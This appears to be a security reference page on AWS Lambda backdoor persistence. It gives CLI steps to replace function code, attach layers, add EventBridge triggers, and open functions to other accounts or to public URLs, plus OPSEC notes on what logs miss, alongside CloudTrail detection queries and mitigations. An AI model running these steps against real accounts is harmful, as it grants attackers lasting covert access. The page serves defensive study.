How it works
A Lambda function is code plus an identity. Every function has an execution role, and on each invocation Lambda gives the code temporary credentials for that role. The role is a non-human identity that no person signs in to, so whoever can change what the function runs can act as the role, as often as the function is invoked.
Persistence through Lambda has two halves, and an attacker needs both:
- Something to run. Their code inside a function that has a useful execution role.
- Something that runs it. A trigger that keeps firing after the attacker's original access is gone, or an invocation path they can reach from outside.
The variants combine these halves in different ways:
- Backdoored function code.
UpdateFunctionCodereplaces the deployment package of an existing function. The function keeps its name, its triggers and its execution role. The planted code usually still does the original job and adds one action, such as sending the role's credentials to an external endpoint. - Backdoored configuration.
UpdateFunctionConfigurationchanges the handler, the environment variables or the layer list. An environment variable can redirect a wrapper or point the code at an attacker endpoint without touching the package. - Malicious layer.
PublishLayerVersionpublishes shared code, and adding the layer to a function loads that code at start-up. The function's own package and itsCodeSha256do not change. - Resource-based permission for an outside invoker.
AddPermissionadds a statement to the function's resource policy that lets another AWS account, or everyone, invoke it. - Function URL.
CreateFunctionUrlConfiggives the function an HTTPS endpoint. With auth typeNONEthe endpoint is public. - EventBridge rule as trigger.
PutRulecreates a schedule or an event pattern, andPutTargetspoints it at the function. A schedule gives a heartbeat. An event pattern makes the function react to activity in the account, for example every time an IAM user is created.
None of these creates an IAM principal. That is the point: reviews that list users, access keys and role trust policies find nothing.
Prerequisites
- Credentials with write access to Lambda in the target account.
lambda:UpdateFunctionCodeon one function with a privileged execution role is enough for the first half. - For the trigger:
lambda:AddPermissionand, for EventBridge,events:PutRuleandevents:PutTargets; orlambda:CreateFunctionUrlConfig. - An execution role worth having. A function whose role is an over-permissioned IAM role, such as one with
AdministratorAccessor broadiam:*, turns a code edit into account control. - No function with a useful role? Creating one needs
iam:PassRole, which is the separate PassRole escalation.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find a function worth backdooring
# Functions and their execution roles
aws lambda list-functions \
--query 'Functions[].[FunctionName,Role,Runtime,LastModified]' --output table
# One function: configuration, layers, and a link to download the current package
aws lambda get-function --function-name nightly-report
# Who can already invoke it, and whether it has a URL
aws lambda get-policy --function-name nightly-report
aws lambda list-function-url-configs --function-name nightly-report
get-function returns a link to the deployment package that is valid for 10 minutes. Operators download it, add their code to the original, and upload the result so that the function keeps working.
2. Plant the code
# Replace the deployment package
aws lambda update-function-code \
--function-name nightly-report \
--zip-file fileb://function.zip
# Or leave the package alone and load code from a layer
aws lambda publish-layer-version \
--layer-name logging-utils \
--zip-file fileb://layer.zip
aws lambda update-function-configuration \
--function-name nightly-report \
--layers arn:aws:lambda:us-east-1:111122223333:layer:logging-utils:1
--layers takes the list of layers the function should load, so include the layers it already uses. update-function-configuration also takes --environment and --handler. AWS documents that --environment replaces the entire set of variables, so the current values have to be included in the call. A function keeps using a layer version it already has even after that layer version is deleted, which lets an operator remove the layer from the account's layer list once it is attached.
3. Add a trigger that survives
A scheduled EventBridge rule:
aws events put-rule \
--name DailyReportSync \
--schedule-expression "rate(1 day)"
# EventBridge needs permission in the function's resource policy
aws lambda add-permission \
--function-name nightly-report \
--statement-id events-daily-sync \
--action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:us-east-1:111122223333:rule/DailyReportSync
aws events put-targets \
--rule DailyReportSync \
--targets "Id"="1","Arn"="arn:aws:lambda:us-east-1:111122223333:function:nightly-report"
An event-pattern rule fires on account activity instead of on time. CloudTrail delivers API calls to the default event bus with the detail type AWS API Call via CloudTrail, so a pattern like this one runs the function whenever a matching call is made:
{
"source": ["aws.iam"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventSource": ["iam.amazonaws.com"],
"eventName": ["CreateUser"]
}
}
aws events put-rule --name UserProvisioningHook --event-pattern file://pattern.json
The function then receives the event, including the new user's name, and can act on it with the execution role, for example by creating an access key for that user.
4. Or keep an invocation path from outside
# Let another AWS account invoke the function
aws lambda add-permission \
--function-name nightly-report \
--statement-id partner-access \
--action lambda:InvokeFunction \
--principal 444455556666
# Or expose it on a public URL
aws lambda create-function-url-config \
--function-name nightly-report \
--auth-type NONE
aws lambda add-permission \
--function-name nightly-report \
--statement-id url-public \
--action lambda:InvokeFunctionUrl \
--principal "*" \
--function-url-auth-type NONE
aws lambda add-permission \
--function-name nightly-report \
--statement-id url-public-invoke \
--action lambda:InvokeFunction \
--principal "*" \
--invoked-via-function-url
AWS documents that function URL callers need both lambda:InvokeFunctionUrl and lambda:InvokeFunction; the lambda:InvokedViaFunctionUrl condition limits the second permission to calls that arrive through the URL. From the other account, the invocation is one call:
aws lambda invoke \
--function-name arn:aws:lambda:us-east-1:111122223333:function:nightly-report \
--payload '{"cmd":"whoami"}' --cli-binary-format raw-in-base64-out out.json
Impact
The attacker runs code as the execution role whenever the trigger fires or whenever they call the function. With a broad role that means reading secrets and data, changing IAM, or creating new credentials on a schedule, so that every key the defenders revoke is replaced the next day.
The access is not tied to any identity the attacker used on the way in. Rotating the compromised access keys, removing the phished user and resetting passwords leaves the function, the rule and the resource policy in place. An event-pattern rule also gives the attacker a reaction: the account can be made to undo remediation or grant access to every newly created user.
OPSEC and artifacts
- Keeping the function working. Operators add to the original package so the function's normal output does not change. The package hash does:
UpdateFunctionCodereturns a newCodeSha256, and CloudTrail records the call asUpdateFunctionCode20150331v2. AWS omits theZipFileparameter from the record, so the log shows that the code changed and who changed it, not what it became. - Using a layer or an environment variable. The function's own package hash stays the same. The layer ARN is in the function configuration,
PublishLayerVersion20181031andUpdateFunctionConfiguration20150331v2are in CloudTrail, and AWS omits theEnvironmentparameter from the configuration record. - Names that look like automation. A rule called
DailyReportSynchides among real schedules.PutRuleandPutTargetsare management events with the caller's identity, and the rule and its target stay listed until someone removes them. - Public URL instead of an AWS principal. No AWS credentials are used to invoke, so there is no caller identity.
CreateFunctionUrlConfigandAddPermission20150331v2record the exposure, and the resource policy keeps a statement with principal*. - Invocations are quiet by default.
Invokeis a data event, and CloudTrail does not log most data events unless a trail or event data store selects them. CloudWatch Logs holds the function's own output if the execution role may write logs, and an attacker who controls the code controls what it prints. - What the code does afterwards is logged. Calls to other AWS services appear in CloudTrail under the execution role, with
sessionContext.sessionIssuerset to the role.
Detection
Detection rests on the management events that set the backdoor up, and on the execution role doing something it never did before.
- Code or configuration changed outside a deployment.
UpdateFunctionCode20150331v2andUpdateFunctionConfiguration20150331v2from a principal or address that is not the CI/CD pipeline. The Lambda PassRole rules include a code update rule and an execution role change rule. - Function opened to another account or to everyone.
AddPermission20150331v2with an account principal or*,CreateFunctionUrlConfigwith auth typeNONE, and layer versions shared with other accounts. See the Lambda exposure rules. - New rule or target.
PutRuleandPutTargetsfromevents.amazonaws.comwhere the target is a Lambda function and the caller is not the deployment role. Event patterns that match IAM or security service activity deserve a second look. - Execution role behaviour. The role calling IAM, STS or Secrets Manager operations that the function's purpose does not explain.
-- Athena, CloudTrail table: changes that plant code or add a way to run it
SELECT eventtime, eventsource, eventname, useridentity.arn AS caller,
sourceipaddress, useragent,
json_extract_scalar(requestparameters, '$.functionName') AS function_name,
errorcode
FROM cloudtrail_logs
WHERE (eventsource = 'lambda.amazonaws.com' AND eventname IN
('UpdateFunctionCode20150331v2', 'UpdateFunctionConfiguration20150331v2',
'AddPermission20150331v2', 'CreateFunctionUrlConfig',
'PublishLayerVersion20181031'))
OR (eventsource = 'events.amazonaws.com' AND eventname IN ('PutRule', 'PutTargets'))
ORDER BY eventtime
The versioned names are what CloudTrail records; a filter on UpdateFunctionCode alone returns nothing. A rule, a target or a permission proves only that execution was made possible. Showing that attacker code ran needs the invocation (data events or function logs) and the calls made under the execution role.
Mitigation
- Give each function a narrow execution role. The backdoor is worth exactly what the role can do. Apply least privilege per function and never share an administrative role between functions.
- Restrict who can change functions. Limit
lambda:UpdateFunctionCode,lambda:UpdateFunctionConfiguration,lambda:AddPermission,lambda:CreateFunctionUrlConfig,events:PutRuleandevents:PutTargetsto the deployment pipeline's role, and deny them to everyone else in production accounts. - Verify what is deployed. Compare each function's
CodeSha256and layer list with the release manifest on a schedule. Lambda code signing lets a function refuse packages that are not signed by an approved profile. - Review resource policies and URLs. No statement should have principal
*, and statements for AWS services should carrySourceArnandSourceAccountconditions. When a function URL with auth typeNONEis deleted, the resource policy statement stays and has to be removed by hand. - Log invocations for sensitive functions. Select Lambda data events for functions with privileged roles, and keep their CloudWatch Logs.
- During cleanup, check every half. Verify the rule state, the target binding, the function policy, the deployed version, the layers and the execution role separately. Removing a target can fail per entry even when the API call succeeds, so read
FailedEntryCountand list the targets again.
Detection rules for this attack
FAQ
Why is a Lambda backdoor a form of identity persistence?
Function code runs with the function's execution role, and Lambda hands that role's temporary credentials to the code on every invocation. Whoever controls the code controls the role. The attacker needs no IAM user or key of their own after the code is planted.
Does the attacker need iam:PassRole?
Not to change an existing function. UpdateFunctionCode replaces the code and keeps the execution role the function already has. iam:PassRole is needed only to create a function with a role or to switch a function to a different role, which is the Lambda PassRole escalation.
Can CloudTrail show what the backdoored code did?
Partly. Management events record the code update, the configuration change, the permission and the rule, but AWS omits the ZipFile and Environment parameters from those records. Invocations are data events and are logged only if a trail or event data store selects them. Calls the code makes to other services appear under the execution role's session.
What removes this kind of persistence?
Redeploy the function from a trusted build, compare the CodeSha256 with the release artifact, remove unknown layers, environment variables, resource policy statements, function URLs and EventBridge rules or targets, and check the result. Deleting a function URL does not delete the resource policy statement that allowed public access.
References
- Serverless Execution, T1648 (MITRE ATT&CK)
- Logging AWS Lambda API calls using AWS CloudTrail (AWS Lambda Developer Guide)
- UpdateFunctionCode (AWS Lambda API Reference)
- AddPermission (AWS Lambda API Reference)
- Control access to Lambda function URLs (AWS Lambda Developer Guide)
- PutRule (Amazon EventBridge API Reference)
- PutTargets (Amazon EventBridge API Reference)
- Logging and monitoring in Amazon EventBridge with CloudTrail (EventBridge User Guide)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.